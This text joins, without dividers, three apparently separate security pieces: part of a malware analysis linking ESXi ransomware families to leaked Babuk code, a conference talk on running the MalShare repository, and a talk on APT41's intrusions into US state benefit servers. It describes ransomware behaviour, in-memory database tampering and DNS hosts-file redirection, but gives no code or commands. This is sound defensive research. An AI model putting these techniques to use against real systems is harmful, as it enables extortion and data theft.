SentinelLabs compiled an unstripped Babuk binary to establish a baseline of how Babuk looks and behaves, referred to henceforth as ‘Baseline Babuk.’ To understand whether the variants we identified are related to Babuk, we compared each variant to this Baseline Babuk sample and highlighted notable similarities and differences.
Babuk 2023 (.XVGV)
SHA1: e8bb26f62983055cfb602aa39a89998e8f512466
XVGV, aka Babuk 2023, emerged in March 2023 on Bleeping Computer’s forum as highlighted by @malwrhunterteam. Baseline Babuk and XVGV share code derived from main.cpp, argument processing functions from args.cpp, and encryption implementation.
Like Babuk, XVGV requires the operator to provide a directory to encrypt as an argument. During dynamic analysis, we provided the test system’s user directory. On the first run, the sample generated a ransom note, HowToRestore.txt, in all child directories.
However, only six files were encrypted, each with either .log or .gz file extensions. Looking at the file extension inclusions reveals why the damage was limited: XVGV targets VMware-centric files and excludes those which do not match a designated list. This is a behavior shared with Baseline Babuk, though the XVGV author added more file extensions.
XVGV .rodata segment references to file extensions (left) and Babuk source code equivalent
Play (.FinDom)
SHA1: dc8b9bc46f1d23779d3835f2b3648c21f4cf6151
This file references the file extension .FinDom, as well as the ransom email address [email protected], which are artifacts associated with Play Ransomware. This is the first known version of Play built for a Linux system, which aligns this actor with the trend of ransomware groups increasingly targeting Linux. Play contains the same file searching functionality as Baseline Babuk; it also implements encryption using Sosemanuk.
Baseline Babuk (left) and Play disassembly of a ransom note construction function
The Play binary was submitted to VirusTotal as part of an archive (SHA1: 9290478cda302b9535702af3a1dada25818ad9ce) containing various hack tools and utilities–including AnyDesk, NetCat, a privilege escalation batch file, and encoded PowerShell Empire scripts–which are associated with ransomware group techniques after achieving initial access.
Mario (.emario)
SHA1: 048b3942c715c6bff15c94cdc0bb4414dbab9e07
Mario ransomware is operated by Ransom House, a group that emerged in 2021. Ransom House initially claimed that they target vulnerable networks to steal data without encrypting files. However, the group has since adopted cryptographic lockers.
The samples share a very similar find_files_recursive function, including the default ransom note filename How To Restore Your Files.txt. The encryption functions are also the same.
The verbose ransom note content is the most unique part of Mario’s ESXi locker. The Ransom House actors provide very explicit instructions to the victim explaining what to do and how to contact the actors.
Mario strings show default Babuk logging messages and the ransom note
To our surprise, the Babuk hunt identified several binaries internally called ‘Conti POC,’ likely short for ‘proof of concept,’ which were documented in a September 2022 campaign against entities in Mexico.
Conti was a notoriously well-organized and ruthless ransomware group. Leaks revealed Conti’s organizational structure resembles many legitimate companies more than a criminal enterprise: the operation employed middle management and a human resources department. Chat history leaks circa early 2021 revealed that Conti had trouble getting their ESXi locker to work.
We compared several iterations of Conti and Babuk to assess a connection. Conti ESXi emerged in April 2022, which could mean that Conti implemented Babuk code after it was leaked in September 2021 and ultimately got the locker to work.
Conti POC & Conti ESXi Locker: The Conti POC is less mature, which aligns with being a ‘proof of concept.’ Conti POC and Conti ESXi share many function names and behaviors, including the same argument processing functions and conditions. We conclude these samples are related, and that Conti POC is a likely predecessor to Conti’s ESXi locker.
Side-by-side view of Conti ESXi (left) and the Conti POC Babuk descendant argument processing
Conti POC & Baseline Babuk: The Conti POC SearchFiles and Baseline Babuk find_files_recursive functions are remarkably similar, containing the same file status variable names. Conti ported certain parts of this function to other local modules, demonstrating more maturity than Baseline Babuk. These two also share a similar main function, suggesting these families are also related and that Conti POC is a more mature evolution of Baseline Babuk.
find_files_recursive in Baseline Babuk (left) and SearchFiles in Conti POC
Comparing to Conti Leaked Windows Code: There are considerable overlaps in utility as well as function names between both Linux versions of Conti (POC and ESXi) and the leaked Windows Conti code. Both versions use the same open-source ChaCha encryption implementation. The leaked Conti Windows code contains commented-out references to HandleCommandLine, a function seen in the other Conti variants we analyzed, and several shared arguments to parse, such as prockiller. It is possible that a developer aligned function names between the Windows version and the ESXi locker in aspiration of feature parity.
Conti ESXi (left) and Windows main.cpp HandleCommandLine function
REvil aka Revix (.rhkrc)
RHKRC – SHA1: 74e4b2f7abf9dbd376372c9b05b26b02c2872e4b
Revix June 2021 – SHA1: 29f16c046a344e0d0adfea80d5d7958d6b6b8cfa
We identified a Babuk-like sample internally called RHKRC, which appends the .rhkrc extension to filenames, a behavior associated with the REvil group’s “Revix” ESXi locker. Interestingly, reports of Revix in-the-wild date back to June 2021, which predates the September 2021 Babuk source code leaks.
To understand where this fits in the development timeline, we compared several iterations of related activity:
RHKRC & Conti POC: Surprisingly similar, these versions both implement encryption identically through ChaCha20 as outlined above. They share a nearly identical, otherwise unique InitializeEncryptor function. These samples are related.
InitializeEncryptor functions from RHKRC (left) and Conti POC
EncryptFull functions from RHKRC (left) and Conti POC
RHKRC & Baseline Babuk: These samples share many function names, including Babuk’s native thread pooling. However, RHKRC implements encryption differently, and it has more bespoke ESXi CLI activity. We assess that these samples are related, though RHKRC is more mature despite also being in the ‘proof of concept’ stage.
RHKRC & June 2021 Revix: We compared RHKRC with Revix from June 2021 in-the-wild activity. Revix is much more mature and contains dynamic code deobfuscation measures unseen in other variants analyzed. RHKRC and Revix share the same internal filename (elf.exe), ransom note name, and appended file extension. However, these similarities are mainly cosmetic, and we are unable to conclude if a definitive connection exists. Any theories about these coincidences amounts to conjecture.
Honorable Mention
SentinelLabs notes there are several other known families descended from the Babuk ESXi source code, including:
Cylance ransomware (unrelated to the security company of the same name)
While there are undoubtedly more Babuk offspring that slipped under the radar, there are other unique ESXi ransomware families. A cursory glance at ALPHV, BlackBasta, Hive, and Lockbit’s ESXi lockers shows no obvious similarity to Babuk.
Babuk is occasionally blamed in error, too. Reports on the February ESXiArgs campaign–which briefly devastated some unpatched cloud services–claim the eponymous locker is derived from Babuk. However, our analysis found little similarity between ESXiArgs (SHA1: f25846f8cda8b0460e1db02ba6d3836ad3721f62) and Babuk. The only noteworthy similarity is the use of the same open-source Sosemanuk encryption implementation. The main function is entirely different, as shown below. ESXiArgs also uses an external shell script to search files and provide arguments to the esxcli, so there is no native find_files_recursive function to compare.
ESXiArgs main function
Conclusion
SentinelLabs’ analysis identified unexpected connections between ESXi ransomware families, exposing likely relationships between Babuk and more illustrious operations like Conti and REvil. While ties to REvil remain tentative, the possibility exists that these groups–Babuk, Conti, and REvil–potentially outsourced an ESXi locker project to the same developer. The talent pool for Linux malware developers is surely much smaller in ransomware development circles, which have historically held demonstrable expertise in crafting elegant Windows malware. Ransomware groups have experienced numerous leaks, so it is plausible smaller leaks occurred within these circles. Additionally, actors may share code to collaborate, similar to open-sourcing a development project.
There is a noticeable trend that actors increasingly use the Babuk builder to develop ESXi and Linux ransomware. This is particularly evident when used by actors with fewer resources, as these actors are less likely to significantly modify the Babuk source code.
Based on the popularity of Babuk’s ESXi locker code, actors may also turn to the group’s Go-based NAS locker. Golang remains a niche choice for many actors, but it continues to increase in popularity. The targeted NAS systems are also based on Linux. While the NAS locker is less complex, the code is clear and legible, which could make ransomware more accessible for developers who are familiar with Go or similar programming languages.
Since March 2013, alongside a handful of volunteers, Silas has run a fully public, never-for-profit malware repository named MalShare. The site allows anyone to register and immediately have access to our entire collection of malware samples.
When MalShare first launched, the idea of openly sharing malware was highly controversial; Silas was told the site would never survive against existing commercial options and that it would only serve to give threat actors deeper insight into defender visibility. Now ten years later, Malshare is still online. What started out as a handful of open web directories has grown into a service used by thousands of researchers and integrated into numerous tools.
In this talk, Silas shares his experience of some of the challenges and rewards of running a free, public malware repository for the benefit of the research community. Along the way, he describes his greatest fear, discusses rival services like VirusTotal and vx-underground, and explains why he doesn’t worry about people trying to hack the site.
Silas Cutler:
Thanks for having me. My name is Silas Cutler. And today I’m going to be talking about talking about a really important project to me. But those of you who don’t know me, as I said, my name is Silas. I wear many hats. I’ve worked quite a few places. But the hat that is the most important to me is one that started almost ten years ago. It’ll be ten years in a couple of weeks.
Silas Cutler:
So I run a public malware repository with several other people, several of whom are here called Malshare. Malshare is a Public Repository. We don’t have any paid services. We will never offer any paid services. The entire project is focused around making malware sample access easier. Malshare started on 28th March 2013, and it was really interesting listening to Thomas Ridd’s talk yesterday when he noted back about the pre shadow brokers eras and before the mass proliferation of a lot of the nation state actors that we’ve seen.
Silas Cutler:
Back then, sample sharing was complicated. You couldn’t just openly share malware. People told me that if I was to start this that I was going to be sued into the ground, that no hosting provider would ever talk to me again and that I would essentially be helping the attackers along the way.
Silas Cutler:
Funny how the world has changed. Yeah. And I was told also that the abuse reports and just the takedown requests from people accidentally uploading samples would consume all my time and the entire ten years that this has been running, I’ve had one sample removal request. That’s it. And it’s funny, and this is a really amazing conference to be doing this talk at, because the entire project started at a conference.
Silas Cutler:
It started talking to another analyst, figuring out how we could exchange samples because I was in the process of leaving a job and and I was terrified of losing access to VirusTotal. And that’s the true reason that the entire project started, was because I knew that I needed data. I needed to be able to play with stuff. And I figured if I was going to be building something and trying to build my own way to feed myself samples and do research, that there’s no point in keeping it private and it’s something that can be shared with everyone.
Silas Cutler:
So I will preface all of this with I am not a graphic designer. This is what the first version of our site looked like and fun. Fun Easter eggs. You’ll notice the wonderful Mt. Gox logo icon right at the bottom to donate 0.1 BTC to keep the server going. Back then that was about $20. Now the price ranges from 2000 to something hourly. I think we actually lost like $30 in Bitcoin when Mt.Gox got tanked.
Silas Cutler:
So in the original structure, the way that we were sharing files was we would tar up a batch of files every day and post them on the website. And this seemed like a really easy way to do it. It made things accessible. That process lasted about a week and somebody included it, like the bulk sample set, one of them in part of a dropper, and started trying to use me as a cheap deployment place.
Silas Cutler:
And it was it was horrifying because everything that people had said about how it could become a resource for attackers became absolutely true and smacked me in the face. So we had to get better. And it also became a lot of the ways that I look at the project and taught me the very important lesson that we can do better. And when things like this happen, there is an onus on platforms like this to try and help as much as we can.
Silas Cutler:
So fundamentally, Malshare I see as new researchers and old researchers first and last repository. We do not have the sample collection that VirusTotal does. We don’t have the features of many of the other ones. But when you have no budget and you need and are building a program, we will always be there.
Silas Cutler:
This talk is not about not about the tech stack of malshare or the the back end details. There’s a lot of things that make Malshare the most mediocre malware repository on the Internet, but that is the point as well. The number one thing and the most important thing that I want to say in this talk and I’ve rewritten this talk about four times this week, but the most important thing I want to say actually, is thank you, because Malshare isn’t Malshare is not mine. It’s belongs to everyone who is uploaded samples, who has used files from it, who’s messaged me on Twitter to say, Hey, the site’s down. It’s a community resource that belongs to us all. So thank you to everyone who uploads. Thank you. If you’re on the advisory boards of committed code and thank you for letting me be part of your research over the years and I hope to continue helping and going forward doing that for everyone.
Silas Cutler:
As with most things very bluntly and real talk, I don’t always know where I’m going with projects. I see a path that looks fun and I run at it and along the way it’s been incredibly it has been amazing to be able to watch the people and learn and see how the project has grown. Yes. So what I want what I want to kind of talk about for the next part of the talk is who I see Malshare as and what I see it as, as the one of the administrators of this project.
Silas Cutler:
So this is now where we are. We have users now all across the planet. We are up to 27,049 users as of this morning. And it’s been unbelievably incredible to see and talk to people and hear about how they’re using the files. When you register on the site by default, you’re allowed 2000 downloads a day or queries. So searches, downloads, if you want more, just email doesn’t make it. We don’t charge for anything. If you don’t want to email, you can just make more keys too. Our users do that and I’ll talk about that in a few minutes too.
Silas Cutler:
But it’s been amazing as well watching over the years where people where people come from to register for the site, the projects they work on. We’re heavily rooted in places across the Middle East, across China, and many of them are students who are in university who want to get into malware analysis. And it’s not always accessible. Unfortunately, the one country that I really upset that I have not managed to get users in in one country, but those some of the the more northern blips, maybe.
You know, one of those Chinese lives?
Silas Cutler:
Yeah, we do. So. So, Malshare is a community resource, as I’ve said. Almost everything on the site is open source. We didn’t start out that way. We actually became open source because a employer of mine years ago tried to say that it was improperly disclosed as part of my onboarding and my prior inventions and that the ownership defaulted to them. So a git push later. It belonged to everyone.
Silas Cutler:
There’s a couple pieces that are not yet open source. The reason they’re not open source is because the code is really bad, and I’m a little embarrassed for people to see it. Mind you, the site is written in PHP, so that’s saying a lot with the site being open source. There’s no secrets. Everything we do is visible in the code, but that makes it accessible for people and usable to bend and to use, however meets the needs of people. The site itself is even usable internal outside of the public instance, and there’s a couple of groups that have started forking it and creating local instances at universities. And even a couple like student clubs have their own instances running in order to share samples that they’re collecting as part of. One of them is doing as part of like a honeypot project, which is really cool.
Silas Cutler:
Over the years, the space of malware repositories has significantly increased and there are some of them and it’s some of them have done absolutely amazing things and some of them have have kind of faded off. Oh, I didn’t include the ones that vanished over the years.
Silas Cutler:
But anyways, but it’s been really interesting also to watch each one of them take their own different approach to how they look at creating a usable service to help people hunt through malware malware sets. And I’ll call out vx-underground specifically because they’re feisty ones, aren’t they? Yeah. Yeah. The password infected. I’ll save you the DMs cos Smelly gets really upset about it. But unlike what what Malshare is which was designed very much to focus on the API to allow people to automate into it and to build things to go beyond what the service can do. vx-underground took a fascinating route with this because they went in the almost an encyclopedia like design where people almost look to them now as a resource for for defining what a set looks like. And there’s been arguments on social media about about what’s a Pegasus sample and what’s not.
Silas Cutler:
But each of these different approaches, the admins of these sites all face different interesting challenges and problems along the way. For Malshare, I don’t have to worry about the the problem that vx-underground does in terms of building a library and a curated collection because people don’t are not looking for assessments from the site. It’s also because I don’t have enough like a lawyer to protect if I accidentally slander someone by saying they’re legitimate to software as malicious. Right.
Silas Cutler:
One of the things that has made it really special for me over the years is your hacks actually make me really happy.
Silas Cutler:
So I said before as well, we limit people to 2000 API API queries a day. We see people creating duplicate keys regularly and I’m really privileged to be able to say that I don’t give a fuck because what I care about is and I’ll touch on more at the end of it. As long as you’re not interrupting service to others, as long as you’re not trying to dump the user database, why worry?
Silas Cutler:
It’s been fascinating and exceptionally cool to watch. The ways that people look at the site, use the site, exceed the site and what we can do and build out and to build cooler hacks and things that go beyond. So I pulled yesterday as well trying to look at some of this API API key reuse and it’s fun as an admin seeing, seeing some of the things.
Silas Cutler:
So for example, there’s this odd pattern there where about ten of the duplicate API keys came from 43 IP addresses, Someone’s got a little proxy network or is using Nordvpn to pull samples. Not a problem, but just a curiosity to see how people are trying to harvest things. Another piece of the sort of service abuse that I’ve seen over the years. And there’s actually another malware repository that I listed on the previous slide that actually had this setup where what happened is they would pull my feed every day. It would go through a discord bot that would post it to a channel. They would upload the sample then to VirusTotal so they could get download quota on VirusTotal to download different samples.
Silas Cutler:
I couldn’t be happier to see this because it’s finding creative solutions to what are really dumb problems that don’t need to be there. And I get it. It can be really awkward to send an email. Sometimes there’s people I owe email responses to and it’s been several days. I’m sorry, social anxiety is a thing. So as I said, why worry? In the end, people building creative solutions is what the project is about. There’s a price point that I can get away with continuing to run the service at, and as long as I can continue to hit that price point, which because I want this talk to be as open and transparent as possible, it’s about 125 bucks a month. But as long as I can keep it running at that price and. I’m fine with however much abuse happens on that.
Silas Cutler:
And in a few minutes, I’ll tell you about the abuse that I don’t like and what happens when when people fuck around and need to find out. But as a brief aside to it, something that came up on a Glasshouse call that I did a few weeks ago, one of the odd things as well in the industry that I’ve noticed is that if you want to get into pen testing and offensive security, there are numerous pathways to do it and it’s a series of pathway that has many different steps that are very easy to hop over, ones you don’t like.
Silas Cutler:
So Vuln Hub. Hack the box, hack this site, all these different resources to go from someone who is curious, to someone who knows the skills and knows the techniques. But on the defensive side, especially for things like malware analysis, we still often are dependent on training series written by forum users, on unknown cheats and and sketchy forums from the nineties to learn how to do some of the deep technical analysis that produces some of the cases that we’ve seen this week.
Silas Cutler:
Credit though, to OALabs, which is a group that does twitch streaming on reverse engineering. They are legit and they’re having a really huge impact. So fundamentally, though, by malware not being a commercial service, we don’t have to worry about the things like service abuse. What we do worry about, though, at the end of the day, is ensuring that the things that happen on the site don’t pose a risk to other users.
Silas Cutler:
When things happen that affect or could potentially affect other users, I care a lot. So the example I have of this that I wanted to call out is unfortunately, I had to redact the name of it for the person. So in July 2018, I got an email from someone. Recognize the email immediately there another researcher who I’ve known for a better part of a decade now asking for a couple of samples. It was a little odd also that they introduced themselves by saying they’re an independent security researcher, but I didn’t think too much of it.
Silas Cutler:
But I got this email, so I immediately responded with back with the samples. We’re not perfect when it comes to phishing. We all make mistakes. A couple of days went by. I followed up with him directly via Slack and they said, Oh yeah, I didn’t I didn’t email you. I just downloaded myself. So I immediately followed back up with this suspicious emailer asking if there was anything more they needed. Because if this is already someone impersonating another researcher, I want to see how far this goes.
Silas Cutler:
So what it turned out was that there had been a long running campaign in which someone was going around registering on sites as this famous security researcher. And trying to get things like extra quota and special access. And when you go back to things like Apache logs to dig through, when people are doing stupid stuff, they’re not great about hiding where they from. So long running campaign targeting a researcher from Iran and they’re still active to this day. They haven’t registered on the site and I do watch now for any time they do this. If you see people trying to impersonate or do bad things through Malshare, please let me know because at the end of the day, I want to make sure people are protected. And something like Apache logs to me are not what Malshere considers proprietary or sensitive data. So if there are things that we can provide, we absolutely will. Think about when I want to. Right.
Silas Cutler:
So the other thing that has caused impact in the past are DDoS attacks. Over the past several years, we’ve had three major attacks that have actually disrupted service. Only one of them actually was someone maliciously intending to disrupt the site. The other two were from researchers with poor Python scripts that continued to request the same sample thousands and thousands of times, which is also a really bad way for me to find out that you’re also using multiple keys which don’t care about but care about when it affects the users.
Silas Cutler:
As the briefest aside, talking about the tech stack. Fundamentally, Malshare is pretty simple conceptually. There’s a MySQL database to track everything an Apache web server and a file a file structure on disk for the sample repository. As a well thought out web scaled enterprise, we took this these three pillars of success and we put them in a box. And I mean, we put them on one server. So the site still continues to run on one server.
Silas Cutler:
So the point of this is. The point with this is. Over the past ten years. It has been an incredible privilege to do this, and I want to continue to do this. And I want to also make sure that this service lives on past just me as the single point of failure. And I bring up the fact that it’s still a single server, not because it’s a problem, but because as services like this go, and having watched other ones fail in the past, something an old project manager told me, which is one is none and two is one.
Silas Cutler:
And so unless there’s redundancy, things do fall down. So over the next ten years, where I’m trying to take the site is to build it into something that can outlive and move past a single point of failure or a single server into something that can continue to be a resource for people until how we share sample and how we think about malware no longer is relevant. Over time, things do fade away and become less relevant and Malshare is always a continuous reminder.
Silas Cutler:
And the other thing that stood out so importantly over the past ten years, and I’ve joked that Malshare is a mediocre malware repository, but the other thing that it does and that it has done so well is it defines the bottom of the barrel. If your vendor feed is worse than Malshare, which is free, you’re getting taken for a ride. If you’re not getting the services that should be available from something free, this as a free service, as a community resource says, everything above is where it should be, and that’s a really important role that we don’t focus on enough because it ensures a baseline and helps us move forward.
Silas Cutler:
So with that, I’d like to say one final thank you and open it up for any further questions that people may have. Yes, Brad. So it’s been a long time. Yeah. Since we’re doing this. I’ve had the privilege of watching it grow.
Speaker2:
Over the years, and.
Silas Cutler:
I didn’t want to. I didn’t want to dox you as as one of the folks.
Speaker2:
See one of the see some of the terrors of What do you think has been the biggest success? What what is the biggest thing that surprised you?
Silas Cutler:
The biggest thing that surprised me. The biggest thing that surprised me is that is actually when people say like, Oh, Malshare only has a bunch of HTML pages, or criticizes the quality of the feed. I don’t know how many people have actually pulled like an hourly batch of VirusTotal and gone file by file. I have really bad insomnia and it really helps sometimes, but VTE has a lot of junk too, but they also have so much that nobody’s picking through it at a granular rate. It’s been surprising that that isn’t always obvious.
Silas Cutler:
I think the other thing that’s really surprising is also the other thing that’s incredibly surprising is the integrations that I see. And to everyone who’s written an integration that I will never see and don’t know about, like, thank you and please feel free to let me know if there’s things we can do better. But for example, like Synapse has a plugin for Malshare to pull data and consume the feed, and it’s amazing to see all of these all of these integrations and where the service is being used. Mandiant has one as well that I found when trying to find listings of them. It’s been truly amazing just seeing all those. It has also been surprising seeing people who are resistant to me trying to give them free malware as a feed, which I get. Already the hesitations about people trying to give others malware. But yeah. Yes.
You mentioned there was one sample that you had a request to remove. Yep. You give any context on that?
Silas Cutler:
It was a PDF document for a company. I think it was meeting notes that somebody accidentally uploaded. I really don’t want to throw stones in glass houses, but I’m going to for just a moment to your question also, Brandon, I’m going to throw a real hard stone on this, which is the biggest fear that I’ve had with malware actually is csam. I am deathly afraid of it.
Silas Cutler:
The surprising thing also has been how many people have commercialized that as a service and reaching out to some of the big players who offer services to help watch for it and have hash lists of it. It is a little tone deaf when they tell me the price is $120,000 a year. That has been surprising too. So anyways, any further questions?
Silas Cutler:
Awesome. Thank you again. And again, if there’s if there’s anything we can ever do for Malshare to help, we’re always happy. And here to help. Cheers.
Silas Cutler is Senior Director for Cyber Threat Research and Analysis at the Insitute for Security and Technology and Resident Hacker at Stairwell. He specializes in hunting advanced threat actors and malware developers, nation states and organized cybercrime groups. Prior to Stairwell, Silas was a threat intelligence practitioner at CrowdStrike, Google, Chronicle and Dell Secureworks.
About LABScon
This presentation was featured live at LABScon 2022, an immersive 3-day conference bringing together the world’s top cybersecurity minds, hosted by SentinelOne’s research arm, SentinelLabs.
In March of 2022, Mandiant released new research detailing APT41’s persistent campaign leveraging novel exploits, malware, and techniques to compromise U.S. State Government networks. APT41 continued to demonstrate their tempo by exploiting a zero-day in an animal health management application before quickly shifting to operationalize the then fresh Log4j vulnerability.
At the time, APT41’s goals were unclear. The “Double Dragon’s” name is derived from APT41’s well documented dual espionage and cybercrime operation. Were they hitting U.S. State Governments to support greater intelligence collection initiatives, or for financial gain?
Mandiant researchers Van Ta and Rufus Brown take us on a journey of discovery into the mysteries of a long tail, persistent compromise of U.S. Government networks and offer a unique insight into one of the world’s most sophisticated threat actors.
Van Ta:
All right. Thank you, everyone. Thank you for attending. We also wanted to extend a thank you to the lab’s organizers for a great inaugural event so far. So let’s give them a round of applause before we get started. So my name is Van Ta. This is my colleague Rufus Brown, and we’re both part of Mandiant’s Advanced Practices Team. We’re really excited to be here today to expand on a story that we began telling in March of this year. And so, without further ado, this is Does This Look Infected? First. I must disclaim you.
Van Ta:
All right. So in March of this year, we published research on a persistent, months long APT41 campaign to gain access to state government networks. Between May 2021 to February of 2022, APT41 compromised at least six state government victims, primarily through exploitation of deserialization vulnerabilities in Internet facing web applications.
Van Ta:
Now, throughout the roughly ten month time frame, APT41 used two different zero days. The first was in an animal health management application known as USA Herds, which at the time of our analysis was used by 18 different states. Now the nature of this vulnerability was in a static machine key that was present in all default installations of the USA Herds application. And so APT41 in possession of this key could then compromise any server on the internet running this specific application. Now, in December of 2021, APT41 quickly shifted gears to operationalize the then fresh zero day in log4j. Now in the months prior APT41 and our research revealed a number of net new malware variants and that remained the same with log4j.
Van Ta:
What we were observing was apt 41 was exploiting victims with log4j to then deploy the Linux variant of a backdoor that we call KEYPLUG. Now this is notable for a number of reasons. Number one, this was the first time we had observed a Linux port of this backdoor for a piece of malware that’s been around since at least 2019. And number two, the Windows version of this backdoor was heavily used during the government intrusions in the months prior. So not only are they able to shift gears, switch up and operationalize a new zero day, but they’re able to deploy a new malware capability while still simultaneously operating at state government networks. So a lot of tenacity there.
Van Ta:
Now, throughout all this, it was pretty clear that APT41 put the P in APT. Right. They it was frequent that we would begin response at one state government agency only to find APT41 was active in a separate unrelated agency in the same state. And not only that but upon eradication APT41 would quickly recompromise their targets. And that’s something that we observed five different times.
Van Ta:
And so with this research, we were able to unveil quite a bit. But one burning question that we still had that we couldn’t really answer was “Why?”. And that will be the focus of our conversation today.
Van Ta:
So at the time, there were a couple of safe conclusions that we could make. These are state governments. There are treasures within these networks that would be valuable to any adversary. And the evidence of a deliberate, adamant campaign, based on the evidence that I talked about in the previous slide, supported some level of a targeted collection mission. But even then, although we had evidence to support these things, we still don’t really have an answer to why.
Van Ta:
Now, at the time we had a couple of hunches, but nothing really conclusive. But let’s take a look at what that really looked like. So at one state, victim, 41 had deployed the passive version of a backdoor that we call LOWKEY on a server responsible for the state’s financial benefits application. Now being a passive backdoor, it was configured to listen to traffic, to specific URLs, and in this case it was configured to listen or I’m sorry to listen for traffic to a URL in which one of the strings matched that specific benefits server application.
Van Ta:
Now APT41 matching their configurations to kind of blend in with the environment, blend in traffic with these different applications. That’s not something that’s net new. But it did show that APT41 wanted to maintain access to this server and this part of the network. Now, upon seeing something like this, one of the first questions that we would ask is, okay, how many states use this particular application? Do you guys like my breadsticks? Right there. Okay. And so to get a quick and dirty answer, we turn to scan data looking specifically for servers that would elicit a similar response to this particular benefits application. Now, while Rufus was poking around, one server stood out one because it was the only server not in the United States, and two, it was located in China. And so being nosy like we are, we wanted to inspect it a little bit further. So let’s see what we found.
Van Ta:
So. So we found a what appeared to be some sort of custom web app running on an ephemeral port that was leaking PII data for US citizens belonging to one particular state. And digging a little bit further, we found something else that was pretty interesting. We found what appeared to be a custom Baidu map with custom pins located somewhere in China. And so again, being very nosy, we zoomed in a little bit further and we could see that all of the pins are located in the Chengdu province of Chengdu and in particular were four kindergartens in that area. Do you all remember Chengdu 404? That was the front company that was detailed in the September 2020 indictments of APT41 members.
Van Ta:
Now, at this point, we have some loose ties to operations at state government victims. But because we did not directly observe this server in relation to that particular operation, we couldn’t attribute this to APT41 And so at that time, although we had some hunches, we were still back at square one, not really knowing the answer to why. It wasn’t until we completed investigations at two additional victims that we were able to collect the evidence to get us closer to that answer.
Rufus Brown:
All right. Thank you, Van. So for the rest of the presentation, I want to try and focus on these. Two new state government victims. So specifically, new data we haven’t talked about and specifically came from these two new state government victims. So starting out around last summer of June 2021, this is where we saw APT41 first gain initial access at State D, So this was through a proprietary Internet facing web application, which no other state had. Shortly after in August, this is where we saw APT41 gain initial access at the second state. Similar thing, proprietary web application, but this time it was a ASP.NET.
Rufus Brown:
Starting out around August. This is where we first saw the group conduct lateral movement and reconnaissance activities for around 4 to 5 months. So this is a really long time for a technically capable actor such as APT41 to remain active in environment and also really gain a better understanding of the network architecture as well as gain a stronger foothold on many systems across the network.
Rufus Brown:
At the beginning of the year. This is where we saw them first, laterally moved to the state benefits such as state benefit servers and also really conduct some hands on activity. So they started modifying with different software on the server. It really showed that they wanted to stay on these servers. So after an eradication event, about one month after we saw them re compromise via a similar technique, Internet facing web application exploitation, they quickly escalated privileges and got a foothold on over 50 systems in a very short amount of time. So really emphasizing that this group is very technically capable. They’re going to find web applications on your DMZ or Internet facing that are vulnerable.
Rufus Brown:
They have the capability to do that. So the last time we saw any sort of interaction or our last observance of the US state government campaign was around March and then one month after in April is when we saw them turn their focus to other geographic regions and organization verticals.
Rufus Brown:
So what helped us put the pieces of the puzzle together and really what were our big finds? So around out of three dozen systems in a 3 to 4 month time frame, 47% of those systems which were DEADEYE infected endpoints were associated to the state benefits architecture. Right. That’s a pretty large significant number for really showing what APT41 was interested in while in the environment.
Rufus Brown:
Secondly, while we started to investigate the state benefit system servers, we noticed that there was a peculiar malware that was running in memory on the server. This is what we track as FASTPACE, and one of the main capabilities of FASTPACE is to allow for unauthorized potential database modification.
Rufus Brown:
So if you’re not too familiar with fast pace, fast pace, which is aka Skip 2.0, was initially discovered and reported by ESET in late 2019. So pretty much this back door targets only MySQL servers for in-memory database manipulation. The particular backdoor that they discovered and reported on in the initial blog targeted SQL Server versions 11 and 12. While the backdoor malware we identified in the state government victim targeted version 13. This really indicates that APT41 is likely continuing to use FASTPACE in their toolkit and are continuing to update it for different iterations of SQL Server as they come out.
Speaker2:
So the way it works, pretty much this backdoor gets injected into SQL Server process and then it looks for specific byte pattern sequences. So these byte pattern sequences are associated with code functions in like native SQL modules such as SQL Lyngdal and SQL DQ. Basically, these targeted functions are related to credential validation, user authentication, event logging, SQL modification logs, things like that. So basically this pretty much covers up any sort of trace or track of what APT41 was doing on these database servers. So really, really difficult to keep track.
Rufus Brown:
I think it’s important to note, too, that out of all Maneant investigated EPP 41 intrusions. This was the first time we saw fast pace in use by APT41. So they had been active since. I think 2014 is like 78 and this is the first time we’ve seen this malware. And it was particularly at a state government victim, which is pretty interesting.
Rufus Brown:
So lastly, for State D after the eradication event, they went straight back to targeting state benefit servers, really just showing and indicating that they wanted to continue their mission, gather whatever data that they are apparently going after.
Rufus Brown:
Again, similar to state D, but for state E. They both targeted state benefit servers very heavily in both of these environments. So if we recall back to what Van mentioned in one of the beginning slides, so the log4j exploitation event, this is where we first saw the first iteration of the Linux backdoor for KEYPLUG.
Speaker2:
So about one month after we saw that backdoor dropped, we saw the passive version of this backdoor dropped at the state government victim. I think it’s important to note as well that this KEYPLUG passive version was only dropped on state benefit servers. Nowhere else in the environment.
Rufus Brown:
Lastly, so as we continue to investigate these servers in this environment, we saw them begin to tamper with the DNS configuration on the host. So this was a very pivotal point in our investigation and really helped us understand what types of data they were going after.
Rufus Brown:
So initially they began targeting these servers, laterally moved and gained access. Secondly, they deployed malware on these servers. It was just to KEYPLUG Linux passive version that I mentioned. The way it works is basically once it gets injected in the memory, it listens on an interface and looks for a packet that contains another magic byte sequence. This magic byte sequence is generated based on the infected host name of the server.
Rufus Brown:
Pretty similarly to how they target Windows operating systems during this campaign. They attempt to masquerade their files as legitimate binaries such as Microsoft, Fortinet and I believe, VMware. So as we can see here, one was deployed as a shared object file and the other one as a executable, particularly masquerading as VMware Tools.
Rufus Brown:
So after they did that, they immediately went to target the DNS configuration on the host. So specifically the host file. So we acquired this file, took a look at it, And of all the entries in this file, there was only one IP address that was a remote IP address.
Rufus Brown:
So we took a look at this and this remote IP address was mapped to a domain. Particularly this API domain was for a independent user verification service that was related to the state benefit system. So now potentially APT41 is allowing for this user verification traffic to get redirected to their C2.
Rufus Brown:
So potentially what could happen, let’s say, for this like a user logs into the state benefits application, right? They’re going to enter their username password, maybe MFA. Once they do that, likely this back end application is going to generate an API request to this remote domain likely containing a user verification info. So now all that data, all that user verification info is likely getting redirected to APT41 C2 server.
Rufus Brown:
So we took a look at the server, we started profiling it, taking a look at it, and we noticed that on one of the ports there was a Self-signed X509 certificate, particularly the Self-signed X59 certificate masqueraded as the Verification Services company’s country state locality, organization name, as well as the domain and common name. So really just showing that they wanted to blend in with this traffic and really try to masquerade in order to evade detection.
Rufus Brown:
So unfortunately, this is where our investigation ended. Just our scope didn’t include any more of investigating the database servers or web application logs. So this is where it stopped.
Van Ta:
And so we started our story today with a couple of hunches. And with that, we added evidence collected from victims that now in totality paint a convincing argument that what Apt41 was after was specifically our states’ financial benefits data.
Van Ta:
And although we’ve progressed significantly from where we were before, I think still, ultimately after all of this, we really still just want to know why. Now, although this although what we don’t know has been the focus of our presentation today, as we wrap up, I want to talk about the things that we do know.
